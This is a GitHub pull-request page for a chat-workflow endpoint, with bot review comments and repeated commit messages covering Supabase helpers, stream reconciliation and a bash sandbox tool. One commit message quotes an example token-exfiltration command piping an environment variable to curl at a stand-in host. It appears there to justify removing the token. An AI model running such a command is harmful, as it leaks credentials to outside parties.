+ headers: { ...getCorsHeaders(), "x-workflow-run-id": reconciled.runId },
+ });
+ }
</file context>

// never accidentally start a duplicate workflow on the back of a failed
// read.
const cleared = await compareAndSetChatActiveStreamId(chatId, activeStreamId, null);
if (cleared.ok && cleared.claimed) {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: Don't map ok:false CAS failures to conflict; this turns a DB outage into a misleading 409 "workflow already running" response.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At lib/chat/reconcileExistingActiveStream.ts, line 52:
<comment>Don't map `ok:false` CAS failures to `conflict`; this turns a DB outage into a misleading 409 "workflow already running" response.</comment>
<file context>
@@ -1,60 +1,56 @@
+ // never accidentally start a duplicate workflow on the back of a failed
+ // read.
+ const cleared = await compareAndSetChatActiveStreamId(chatId, activeStreamId, null);
+ if (cleared.ok && cleared.claimed) {
+ return { action: "ready" };
+ }
</file context>

Comment threadlib/supabase/chats/updateChat.ts Outdated
): Promise<UpdateChatResult> {
let query = supabase.from("chats").update(updates).eq("id", filter.id);
for (const [column, value] of Object.entries(filter.where ?? {})) {
query = value === null ? query.is(column, null) : query.eq(column, value);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: Skip undefined entries in the new where loop. Passing an optional predicate through to .eq() produces an invalid eq.undefined filter instead of omitting that condition.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At lib/supabase/chats/updateChat.ts, line 51:
<comment>Skip `undefined` entries in the new `where` loop. Passing an optional predicate through to `.eq()` produces an invalid `eq.undefined` filter instead of omitting that condition.</comment>
<file context>
@@ -2,28 +2,64 @@ import supabase from "@/lib/supabase/serverClient";
+): Promise<UpdateChatResult> {
+ let query = supabase.from("chats").update(updates).eq("id", filter.id);
+ for (const [column, value] of Object.entries(filter.where ?? {})) {
+ query = value === null ? query.is(column, null) : query.eq(column, value);
+ }
</file context>
Suggested change
query=value===null ? query.is(column,null) : query.eq(column,value);
if(value===undefined)continue;
query=value===null ? query.is(column,null) : query.eq(column,value);

…upabase type depth
Two production-build issues surfaced by Vercel that local pnpm test +
tsc didn't catch (vitest uses esbuild transpile, no type check; tsc's
errors were all in __tests__ unrelated to this PR).
1. `compareAndSetChatActiveStreamId.ts` — `if (result.ok) { ... }`
narrowing wasn't kicking in under Next.js's strict TS plugin.
Switched to `if ("error" in result)` (in-operator narrowing) which
reliably discriminates the union members regardless of literal-type
inference quirks.
2. `lib/supabase/chats/updateChat.ts` — `let query = supabase.from(...)
.update(...).eq(...)` + reassignment in a `for` loop (`.is()` /
`.eq()` per where entry) caused "type instantiation is excessively
deep" — Supabase's PostgrestFilterBuilder is heavily generic and the
reassignment kept expanding the type. Rewrote as: split where map
into equality matches (one `.match(obj)` call) + nullable columns
(reduced with `.is(col, null)` typed back to the original builder).
Both bugs were behavior-neutral — the function shape and contract are
unchanged. 37/37 tests in touched files green; full suite 2955/2955;
lint clean; `pnpm build` now succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
@sweetmantech

Copy link
Copy Markdown
ContributorAuthor

Build fix + post-approval E2E re-test ✅

The earlier Vercel build failed on commit `21bd131d` (the active_stream_id refactor) due to two Next.js–strict TS issues that local `pnpm test` + `tsc` didn't surface (vitest uses esbuild transpile-only; tsc's other errors were all in pre-existing `tests/` files):

  1. Discriminated-union narrowing on result.ok wasn't kicking in under Next.js's strict TS plugin → switched compareAndSetChatActiveStreamId.ts to if ("error" in result) (in-operator narrowing).
  2. "Type instantiation is excessively deep" on let query = supabase.from(...).update(...).eq(...) + reassignment in a for-loop — Supabase's PostgrestFilterBuilder is heavily generic and the reassignment kept ballooning the type. Rewrote updateChat to split the where map into equality matches (one .match(obj) call) + nullable columns (reduced via .is(col, null) typed back to the original builder).

Both fixes are behavior-neutral. Fix is in be4580a6.

Verification after fix

  • ✅ `pnpm build` now succeeds locally
  • ✅ Full suite: 2955/2955 pass
  • ✅ Lint: clean
  • ✅ Vercel deploy for `be4580a6`: success
  • ✅ E2E re-tested on preview:
HTTP/2 200
content-type: text/event-stream
x-vercel-ai-ui-message-stream: v1
x-workflow-run-id: wrun_01KS5NBFFSE8NCBCEB6RXSBA7X
data: {"type":"start"}
data: {"type":"start-step"}
data: {"type":"text-start","id":"0","providerMetadata":{"gateway":{"generationId":"gen_01KS5NBHDTXYG7VNZSKWQ4TZN9"}}}
data: {"type":"text-delta","id":"0","delta":"Z"}
data: {"type":"text-delta","id":"0","delta":"AP"}

Same flow as before — real Vercel Workflow run id, real LLM streaming, same SSE protocol. Ready to merge.

@cubic-dev-aicubic-dev-aiBot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

0 issues found across 3 files (changes from recent commits).

Requires human review: Auto-approval blocked by 8 unresolved issues from previous reviews.

Re-trigger cubic

@sweetmantech
sweetmantech merged commit f9efbea into testMay 21, 2026
6 checks passed
@sweetmantech
sweetmantech deleted the feat/api-chat-workflow-wire-up branch May 21, 2026 17:07
sweetmantech added a commit that referenced this pull request May 21, 2026
* feat(chat-workflow): POST /api/chat/workflow route stub (PR 2 of 5) (#579)
* feat(chat-workflow): add POST /api/chat/workflow route stub
Adds the route stub for the new sandbox-driven, Vercel-Workflow-backed
chat endpoint documented in recoupable/docs#221. The stub validates
the full request contract (auth, body, session/chat ownership,
sandbox active) and returns a hardcoded UIMessage stream with an
x-workflow-run-id: stub-<uuid> header — so the chat-side team can
integrate against the real response shape today while the workflow
itself is being ported from open-agents in follow-up PRs.
Files:
- app/api/chat/workflow/route.ts — thin POST shim + OPTIONS for CORS
- lib/chat/handleChatWorkflowStream.ts — auth → validate → session/chat
ownership → sandbox check → stub UIMessage stream
- lib/chat/validateChatWorkflowBody.ts — Zod schema matching the OpenAPI
ChatWorkflowRequest (messages, chatId, sessionId, optional
context.contextLimit)
Status codes implemented (match contract docs):
- 200 — UIMessage stream + x-workflow-run-id header
- 400 — invalid JSON / invalid body / "Sandbox not initialized"
- 401 — validateAuthContext passthrough
- 403 — session not owned by API key's account
- 404 — session or chat not found (incl. chat under different session)
- 500 — selectSessions returned null (DB error)
409 (duplicate workflow run for chat) is deferred to the wire-up PR
that adds compareAndSetChatActiveStreamId — no workflow to dedupe yet.
Tests (TDD red→green): 23 new tests, all green; full suite 2901 pass.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — SRP/DRY cleanup
Two review fixes per PR feedback:
1. SRP/DRY — drop the local errorResponse helper from
handleChatWorkflowStream.ts; use the shared
lib/networking/errorResponse and lib/zod/validationErrorResponse
helpers instead.
2. SRP — move auth + body parsing out of handleChatWorkflowStream.ts
into the validator. Rename validateChatWorkflowBody → validateChatWorkflow
so it accepts a full NextRequest (like the existing validateChatRequest)
and returns an auth-augmented body (accountId/orgId/authToken). The
handler now opens with a single `validateChatWorkflow(request)` call.
Tests reshaped to match new seams:
- Validator test mocks validateAuthContext only
- Handler test mocks validateChatWorkflow (the new seam)
- Old "400 invalid JSON" + "400 missing chatId" handler tests collapsed
into a single "validator short-circuit passes through" test — both are
now the validator's responsibility, not the handler's
22/22 new tests green; full suite 2900/2900 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* chore: revert unrelated local changes accidentally swept into PR
Previous commit (9262f65) used `git add -A` which picked up local
Supabase CLI artifacts (supabase/.temp/) and a local .gitignore tweak
that aren't part of this PR's scope. Removing them now so the PR
diff stays scoped to the chat-workflow refactor.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4) (#581)
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow
Replaces the stub UIMessage stream in PR #579 with a real Vercel Workflow
agent loop. Stub run-ids (`stub-<uuid>`) are replaced with real ones
(`wrun_<id>`) emitted by the workflow runtime. Tools are still NOT wired —
the workflow runs streamText with the gateway model + Recoup custom
instructions only. Sandbox tool surface comes in a follow-up PR.
What's now plumbed end-to-end:
- validateChatWorkflow → session+chat ownership → sandbox active → reconcile
existing active_stream_id (resume / 409 / fall-through) → refresh
lifecycle activity → fire-and-forget persist user message → start
runAgentWorkflow → CAS active_stream_id (cancel + 409 on race) →
return run.getReadable() with x-workflow-run-id header
New helpers (Supabase):
- compareAndSetChatActiveStreamId — atomic CAS on chats.active_stream_id
- touchChat — bump chats.updated_at
- updateChat — generic partial update mirroring updateSession's shape
- createChatMessageIfNotExists — INSERT ... ON CONFLICT DO NOTHING via upsert
- isFirstChatMessage — true iff exactly one row exists matching messageId
New helpers (chat/recoupable):
- extractOrgId — `org-<slug>-<uuid>` → uuid (lowercased)
- agentCustomInstructions — assistantFileLinkPrompt + recoupApiSkillPrompt
- persistLatestUserMessage — fire-and-forget user msg + title-from-first-80
- reconcileExistingActiveStream — 3-attempt resume/clear/conflict loop
New workflow files:
- app/workflows/runAgentWorkflow.ts — `"use workflow"`, agent loop wrapper
- app/workflows/runAgentStep.ts — `"use step"`, single streamText turn
Tests: 46 new (8 extractOrgId + 5 cAS + 3 touchChat + 2 updateChat + 3
createChatMessageIfNotExists + 5 isFirstChatMessage + 7 persistLatest +
6 reconcileExistingActiveStream + 18 handler-wire-up tests refactored).
Full suite: 2946/2946 pass, lint clean.
Out of scope (next PR): sandbox tool ports (10 files + buildAgentTools).
Without tools, `finishReason` is always "stop" after one turn — the
runAgentWorkflow loop shape is in place but only iterates once today.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — structural + P1/P2 fixes
Sweetman structural feedback (KISS / OCP):
- Move workflow files: app/workflows/runAgent{Workflow,Step}.ts →
app/lib/workflows/runAgent{Workflow,Step}.ts
- Generic Supabase helpers + domain wrappers:
- Generic `updateChat({filter, updates})` with optional CAS predicate
on active_stream_id. Subsumes compareAndSetChatActiveStreamId and
touchChat (both deleted).
- Generic `selectChatMessages({chatId, orderBy, limit, ...})` replaces
domain-specific isFirstChatMessage. The "is earliest?" check now
lives in persistLatestUserMessage where it belongs.
- Rename createChatMessageIfNotExists → `upsertChatMessage` with a
discriminated `{ok, row, isDuplicate} | {ok:false, error}` result so
callers can tell duplicates from DB errors.
- Extract resume-stream block from handler into `maybeResumeChatStream.ts`
(OCP — handler stays small, resume logic grows independently).
cubic P1 fixes:
- CAS-before-start: handler now claims `active_stream_id` with a
`pending-<uuid>` placeholder BEFORE calling start(workflow). Closes the
race where two requests could both bill the model before one lost the
CAS. After start(), promotes the placeholder to the real run id.
- updateChat returns discriminated `{ok, rowsUpdated} | {ok:false, error}`
so callers distinguish "race lost" (rowsUpdated:0) from DB errors.
- reconcileExistingActiveStream: bare try/catch on getRun no longer
clears stale active_stream_id on transient workflow API failures —
we treat any uncertainty as conflict. Failed CAS-clear on a completed
run also returns conflict (rather than possibly falling through to
ready on a DB read error).
- await getRun(runId).cancel() in handler — previously synchronous +
unawaited cancellation could escape the try/catch.
cubic P2 fixes:
- updateChat updates parameter narrowed to `ChatMutableFields` (excludes
id, session_id, created_at).
- persistLatestUserMessage: title truncation now respects TITLE_MAX_LENGTH
exactly. Uses "…" (1 char) instead of "..." (3 chars) and slices to
body-budget = max - suffix.
- runAgentStep: acquire writer once, release in finally. Per-chunk writer
acquisition could leak the lock on write failure.
- runAgentWorkflow: capped at a single turn until messages threading
lands with tool ports (PR 4). Multi-turn loop with the same input was
unsafe — log+warn if model returns tool-calls and exit.
Tests reworked: 231 in the touched files all green; full suite 2949/2949;
lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): top-level import in reconcileExistingActiveStream
The dynamic `await import("workflow/api")` inside the function body was
a carry-over from open-agents — handleChatWorkflowStream.ts already
top-level imports `start` and `getRun` from the same package, so there's
no reason for the lib to defer. Moving to a normal top-level import for
consistency.
Also tightens the cancel-throws handler test to use the same deferred-
rejection pattern as reconcileExistingActiveStream.test.ts so Vitest's
unhandled-rejection watcher doesn't trip on the mock setup.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): move active_stream_id CAS out of supabase lib
Per sweetman's review on updateChat.ts:64 — the active_stream_id-specific
predicate logic doesn't belong in the Supabase plumbing. Restructured:
- `lib/supabase/chats/updateChat.ts` now generic. The filter accepts
`where: Partial<Tables<"chats">>` (a generic predicate that maps to
`column = value` or `column IS NULL`) so no column name is hardcoded
in the Supabase lib.
- `lib/chat/compareAndSetChatActiveStreamId.ts` — new domain wrapper.
Owns the "compare-and-set on active_stream_id" concept and returns a
discriminated `{ok, claimed} | {ok: false, error}` result. Handler
and reconcileExistingActiveStream both compose against this wrapper
instead of constructing predicates inline.
- Handler + reconcile updated to use the wrapper. Tests follow.
37/37 tests in touched files pass; full suite 2955/2955; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(chat-workflow): Next.js build — discriminated-union narrowing + supabase type depth
Two production-build issues surfaced by Vercel that local pnpm test +
tsc didn't catch (vitest uses esbuild transpile, no type check; tsc's
errors were all in __tests__ unrelated to this PR).
1. `compareAndSetChatActiveStreamId.ts` — `if (result.ok) { ... }`
narrowing wasn't kicking in under Next.js's strict TS plugin.
Switched to `if ("error" in result)` (in-operator narrowing) which
reliably discriminates the union members regardless of literal-type
inference quirks.
2. `lib/supabase/chats/updateChat.ts` — `let query = supabase.from(...)
.update(...).eq(...)` + reassignment in a `for` loop (`.is()` /
`.eq()` per where entry) caused "type instantiation is excessively
deep" — Supabase's PostgrestFilterBuilder is heavily generic and the
reassignment kept expanding the type. Rewrote as: split where map
into equality matches (one `.match(obj)` call) + nullable columns
(reduced with `.is(col, null)` typed back to the original builder).
Both bugs were behavior-neutral — the function shape and contract are
unchanged. 37/37 tests in touched files green; full suite 2955/2955;
lint clean; `pnpm build` now succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
sweetmantech added a commit that referenced this pull request May 21, 2026
* feat(chat-workflow): POST /api/chat/workflow route stub (PR 2 of 5) (#579)
* feat(chat-workflow): add POST /api/chat/workflow route stub
Adds the route stub for the new sandbox-driven, Vercel-Workflow-backed
chat endpoint documented in recoupable/docs#221. The stub validates
the full request contract (auth, body, session/chat ownership,
sandbox active) and returns a hardcoded UIMessage stream with an
x-workflow-run-id: stub-<uuid> header — so the chat-side team can
integrate against the real response shape today while the workflow
itself is being ported from open-agents in follow-up PRs.
Files:
- app/api/chat/workflow/route.ts — thin POST shim + OPTIONS for CORS
- lib/chat/handleChatWorkflowStream.ts — auth → validate → session/chat
ownership → sandbox check → stub UIMessage stream
- lib/chat/validateChatWorkflowBody.ts — Zod schema matching the OpenAPI
ChatWorkflowRequest (messages, chatId, sessionId, optional
context.contextLimit)
Status codes implemented (match contract docs):
- 200 — UIMessage stream + x-workflow-run-id header
- 400 — invalid JSON / invalid body / "Sandbox not initialized"
- 401 — validateAuthContext passthrough
- 403 — session not owned by API key's account
- 404 — session or chat not found (incl. chat under different session)
- 500 — selectSessions returned null (DB error)
409 (duplicate workflow run for chat) is deferred to the wire-up PR
that adds compareAndSetChatActiveStreamId — no workflow to dedupe yet.
Tests (TDD red→green): 23 new tests, all green; full suite 2901 pass.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — SRP/DRY cleanup
Two review fixes per PR feedback:
1. SRP/DRY — drop the local errorResponse helper from
handleChatWorkflowStream.ts; use the shared
lib/networking/errorResponse and lib/zod/validationErrorResponse
helpers instead.
2. SRP — move auth + body parsing out of handleChatWorkflowStream.ts
into the validator. Rename validateChatWorkflowBody → validateChatWorkflow
so it accepts a full NextRequest (like the existing validateChatRequest)
and returns an auth-augmented body (accountId/orgId/authToken). The
handler now opens with a single `validateChatWorkflow(request)` call.
Tests reshaped to match new seams:
- Validator test mocks validateAuthContext only
- Handler test mocks validateChatWorkflow (the new seam)
- Old "400 invalid JSON" + "400 missing chatId" handler tests collapsed
into a single "validator short-circuit passes through" test — both are
now the validator's responsibility, not the handler's
22/22 new tests green; full suite 2900/2900 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* chore: revert unrelated local changes accidentally swept into PR
Previous commit (9262f65) used `git add -A` which picked up local
Supabase CLI artifacts (supabase/.temp/) and a local .gitignore tweak
that aren't part of this PR's scope. Removing them now so the PR
diff stays scoped to the chat-workflow refactor.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4) (#581)
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow
Replaces the stub UIMessage stream in PR #579 with a real Vercel Workflow
agent loop. Stub run-ids (`stub-<uuid>`) are replaced with real ones
(`wrun_<id>`) emitted by the workflow runtime. Tools are still NOT wired —
the workflow runs streamText with the gateway model + Recoup custom
instructions only. Sandbox tool surface comes in a follow-up PR.
What's now plumbed end-to-end:
- validateChatWorkflow → session+chat ownership → sandbox active → reconcile
existing active_stream_id (resume / 409 / fall-through) → refresh
lifecycle activity → fire-and-forget persist user message → start
runAgentWorkflow → CAS active_stream_id (cancel + 409 on race) →
return run.getReadable() with x-workflow-run-id header
New helpers (Supabase):
- compareAndSetChatActiveStreamId — atomic CAS on chats.active_stream_id
- touchChat — bump chats.updated_at
- updateChat — generic partial update mirroring updateSession's shape
- createChatMessageIfNotExists — INSERT ... ON CONFLICT DO NOTHING via upsert
- isFirstChatMessage — true iff exactly one row exists matching messageId
New helpers (chat/recoupable):
- extractOrgId — `org-<slug>-<uuid>` → uuid (lowercased)
- agentCustomInstructions — assistantFileLinkPrompt + recoupApiSkillPrompt
- persistLatestUserMessage — fire-and-forget user msg + title-from-first-80
- reconcileExistingActiveStream — 3-attempt resume/clear/conflict loop
New workflow files:
- app/workflows/runAgentWorkflow.ts — `"use workflow"`, agent loop wrapper
- app/workflows/runAgentStep.ts — `"use step"`, single streamText turn
Tests: 46 new (8 extractOrgId + 5 cAS + 3 touchChat + 2 updateChat + 3
createChatMessageIfNotExists + 5 isFirstChatMessage + 7 persistLatest +
6 reconcileExistingActiveStream + 18 handler-wire-up tests refactored).
Full suite: 2946/2946 pass, lint clean.
Out of scope (next PR): sandbox tool ports (10 files + buildAgentTools).
Without tools, `finishReason` is always "stop" after one turn — the
runAgentWorkflow loop shape is in place but only iterates once today.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — structural + P1/P2 fixes
Sweetman structural feedback (KISS / OCP):
- Move workflow files: app/workflows/runAgent{Workflow,Step}.ts →
app/lib/workflows/runAgent{Workflow,Step}.ts
- Generic Supabase helpers + domain wrappers:
- Generic `updateChat({filter, updates})` with optional CAS predicate
on active_stream_id. Subsumes compareAndSetChatActiveStreamId and
touchChat (both deleted).
- Generic `selectChatMessages({chatId, orderBy, limit, ...})` replaces
domain-specific isFirstChatMessage. The "is earliest?" check now
lives in persistLatestUserMessage where it belongs.
- Rename createChatMessageIfNotExists → `upsertChatMessage` with a
discriminated `{ok, row, isDuplicate} | {ok:false, error}` result so
callers can tell duplicates from DB errors.
- Extract resume-stream block from handler into `maybeResumeChatStream.ts`
(OCP — handler stays small, resume logic grows independently).
cubic P1 fixes:
- CAS-before-start: handler now claims `active_stream_id` with a
`pending-<uuid>` placeholder BEFORE calling start(workflow). Closes the
race where two requests could both bill the model before one lost the
CAS. After start(), promotes the placeholder to the real run id.
- updateChat returns discriminated `{ok, rowsUpdated} | {ok:false, error}`
so callers distinguish "race lost" (rowsUpdated:0) from DB errors.
- reconcileExistingActiveStream: bare try/catch on getRun no longer
clears stale active_stream_id on transient workflow API failures —
we treat any uncertainty as conflict. Failed CAS-clear on a completed
run also returns conflict (rather than possibly falling through to
ready on a DB read error).
- await getRun(runId).cancel() in handler — previously synchronous +
unawaited cancellation could escape the try/catch.
cubic P2 fixes:
- updateChat updates parameter narrowed to `ChatMutableFields` (excludes
id, session_id, created_at).
- persistLatestUserMessage: title truncation now respects TITLE_MAX_LENGTH
exactly. Uses "…" (1 char) instead of "..." (3 chars) and slices to
body-budget = max - suffix.
- runAgentStep: acquire writer once, release in finally. Per-chunk writer
acquisition could leak the lock on write failure.
- runAgentWorkflow: capped at a single turn until messages threading
lands with tool ports (PR 4). Multi-turn loop with the same input was
unsafe — log+warn if model returns tool-calls and exit.
Tests reworked: 231 in the touched files all green; full suite 2949/2949;
lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): top-level import in reconcileExistingActiveStream
The dynamic `await import("workflow/api")` inside the function body was
a carry-over from open-agents — handleChatWorkflowStream.ts already
top-level imports `start` and `getRun` from the same package, so there's
no reason for the lib to defer. Moving to a normal top-level import for
consistency.
Also tightens the cancel-throws handler test to use the same deferred-
rejection pattern as reconcileExistingActiveStream.test.ts so Vitest's
unhandled-rejection watcher doesn't trip on the mock setup.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): move active_stream_id CAS out of supabase lib
Per sweetman's review on updateChat.ts:64 — the active_stream_id-specific
predicate logic doesn't belong in the Supabase plumbing. Restructured:
- `lib/supabase/chats/updateChat.ts` now generic. The filter accepts
`where: Partial<Tables<"chats">>` (a generic predicate that maps to
`column = value` or `column IS NULL`) so no column name is hardcoded
in the Supabase lib.
- `lib/chat/compareAndSetChatActiveStreamId.ts` — new domain wrapper.
Owns the "compare-and-set on active_stream_id" concept and returns a
discriminated `{ok, claimed} | {ok: false, error}` result. Handler
and reconcileExistingActiveStream both compose against this wrapper
instead of constructing predicates inline.
- Handler + reconcile updated to use the wrapper. Tests follow.
37/37 tests in touched files pass; full suite 2955/2955; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(chat-workflow): Next.js build — discriminated-union narrowing + supabase type depth
Two production-build issues surfaced by Vercel that local pnpm test +
tsc didn't catch (vitest uses esbuild transpile, no type check; tsc's
errors were all in __tests__ unrelated to this PR).
1. `compareAndSetChatActiveStreamId.ts` — `if (result.ok) { ... }`
narrowing wasn't kicking in under Next.js's strict TS plugin.
Switched to `if ("error" in result)` (in-operator narrowing) which
reliably discriminates the union members regardless of literal-type
inference quirks.
2. `lib/supabase/chats/updateChat.ts` — `let query = supabase.from(...)
.update(...).eq(...)` + reassignment in a `for` loop (`.is()` /
`.eq()` per where entry) caused "type instantiation is excessively
deep" — Supabase's PostgrestFilterBuilder is heavily generic and the
reassignment kept expanding the type. Rewrote as: split where map
into equality matches (one `.match(obj)` call) + nullable columns
(reduced with `.is(col, null)` typed back to the original builder).
Both bugs were behavior-neutral — the function shape and contract are
unchanged. 37/37 tests in touched files green; full suite 2955/2955;
lint clean; `pnpm build` now succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4, slim) (#583)
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4 of 4, slim)
Slim PR 4: ports the `bash` sandbox tool from open-agents and wires it
through the workflow via streamText's `experimental_context`. Proves
the entire tool-execution machinery works end-to-end. The remaining 10
tools (read, write, grep, glob, todo, task, ask_user_question, skill,
fetch + utils) port in a follow-up; this PR's scope was deliberately
held to one tool so the wire-up is reviewable in isolation.
New files:
- lib/agent/tools/utils.ts — AgentContext type, isAgentContext guard,
getSandbox() that reconnects via connectVercel(state) per call.
- lib/agent/tools/buildRecoupExecEnv.ts — { RECOUP_ACCESS_TOKEN,
RECOUP_ORG_ID } env builder from context.
- lib/agent/tools/bashTool.ts — direct port of open-agents bash.ts
adapted to api's Sandbox interface. Injects recoup env on foreground
execs only (detached processes outlive the prompt → no token).
- lib/agent/buildAgentTools.ts — factory returning the agent's tool
record. Adding the remaining tools is a one-line append to this map.
Wire-up:
- runAgentStep now accepts `agentContext`, passes into streamText as
experimental_context, and uses streamText's internal multi-step loop
(stopWhen: stepCountIs(25)) for tool-call iteration — no outer loop
in runAgentWorkflow needed.
- handleChatWorkflowStream derives recoupOrgId from session.clone_url
via extractOrgId, builds AgentContext with session.sandbox_state +
validated.authToken, passes to start(workflow).
Tests: 23 new (3 utils + 5 buildRecoupExecEnv + 10 bashTool + 2 factory
+ 3 workflow file updates picked up by existing tests). Full suite
2978/2978 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR 583 review — KISS/SRP + drop token exposure
Sweetman KISS/SRP feedback (4 comments):
- Removed `MAX_TOOL_STEPS` + `stopWhen` from runAgentStep. streamText's
default stop condition handles tool-call iteration without an
arbitrary cap that could silently truncate the only workflow turn.
- Removed `commandNeedsApproval` + `DANGEROUS_COMMAND_PATTERNS` from
bashTool. All model-issued commands are trusted in this PR — host-
side gating belongs at the route/UI layer if it ever returns.
- Removed `needsApproval` from bashTool entirely (subsumes cubic P1
about the broken override ordering — the gate itself is gone).
- Split `lib/agent/tools/utils.ts` into per-function files:
- `AgentContext.ts` — type
- `isAgentContext.ts` — guard
- `getSandbox.ts` — sandbox reconnection
No catch-all utils file.
Cubic feedback:
- **P0**: Removed `recoupAccessToken` from AgentContext + handler +
buildRecoupExecEnv. Handing the long-lived api key to bash would let
any model-issued command exfiltrate it via env (`echo $TOKEN | curl
evil.com`). Slim PR 4 has no actual consumer for the token — only
the future `skill` tool needs it. Proper short-lived token minting
will land alongside that port.
- **P2** (`isAgentContext` too weak): tightened the guard to validate
sandbox.state is a non-null object AND sandbox.workingDirectory is a
non-empty string. Earlier guard returned true for `{ sandbox: {} }`,
letting tools later crash on undefined fields.
- P1 + P2 about stopWhen / needsApproval: resolved by sweetman's
deletions above.
- P2 (test file >100 lines): dismissed — same as PR 3 review. The repo
has no enforced max-lines rule; existing tests routinely exceed 700
lines.
Tests updated for the new shape. 25 tests in touched files green
(8 isAgentContext + 4 getSandbox + 7 bashTool + 4 buildRecoupExecEnv +
2 factory). Full suite 2980/2980 pass; lint clean; production build
succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat): extract CHAT_AGENT_STOP_WHEN, shared by /api/chat + /api/chat/workflow
Per discussion on PR #583. Restoring the streamText stop condition so
the workflow agent gets the model wrap-up turn after a tool call (model
→ tool → tool-result → model → text response), instead of stopping at
streamText's default `stepCountIs(1)` after the first tool call.
DRY by sharing one constant between the two chat endpoints:
- New: `CHAT_AGENT_STOP_WHEN = stepCountIs(111)` in lib/chat/const.ts.
Inherits the value that /api/chat already uses (originally hardcoded
in getGeneralAgent.ts:55) — high enough that normal flows never hit
the cap but bounds runaway loops for cost / replay safety.
- lib/agents/generalAgent/getGeneralAgent.ts: imports the constant
instead of constructing stepCountIs(111) inline.
- app/lib/workflows/runAgentStep.ts: imports the constant, passes to
streamText as `stopWhen`.
Single-shot agents (createCompactAgent, createContentPromptAgent,
createEmailReplyAgent) intentionally keep their local `stepCountIs(1)`
— they're not in the multi-step chat family.
Full suite 2980/2980 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
sweetmantech added a commit that referenced this pull request May 21, 2026
…tch (#585) (#586)
* feat(chat-workflow): POST /api/chat/workflow route stub (PR 2 of 5) (#579)
* feat(chat-workflow): add POST /api/chat/workflow route stub
Adds the route stub for the new sandbox-driven, Vercel-Workflow-backed
chat endpoint documented in recoupable/docs#221. The stub validates
the full request contract (auth, body, session/chat ownership,
sandbox active) and returns a hardcoded UIMessage stream with an
x-workflow-run-id: stub-<uuid> header — so the chat-side team can
integrate against the real response shape today while the workflow
itself is being ported from open-agents in follow-up PRs.
Files:
- app/api/chat/workflow/route.ts — thin POST shim + OPTIONS for CORS
- lib/chat/handleChatWorkflowStream.ts — auth → validate → session/chat
ownership → sandbox check → stub UIMessage stream
- lib/chat/validateChatWorkflowBody.ts — Zod schema matching the OpenAPI
ChatWorkflowRequest (messages, chatId, sessionId, optional
context.contextLimit)
Status codes implemented (match contract docs):
- 200 — UIMessage stream + x-workflow-run-id header
- 400 — invalid JSON / invalid body / "Sandbox not initialized"
- 401 — validateAuthContext passthrough
- 403 — session not owned by API key's account
- 404 — session or chat not found (incl. chat under different session)
- 500 — selectSessions returned null (DB error)
409 (duplicate workflow run for chat) is deferred to the wire-up PR
that adds compareAndSetChatActiveStreamId — no workflow to dedupe yet.
Tests (TDD red→green): 23 new tests, all green; full suite 2901 pass.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — SRP/DRY cleanup
Two review fixes per PR feedback:
1. SRP/DRY — drop the local errorResponse helper from
handleChatWorkflowStream.ts; use the shared
lib/networking/errorResponse and lib/zod/validationErrorResponse
helpers instead.
2. SRP — move auth + body parsing out of handleChatWorkflowStream.ts
into the validator. Rename validateChatWorkflowBody → validateChatWorkflow
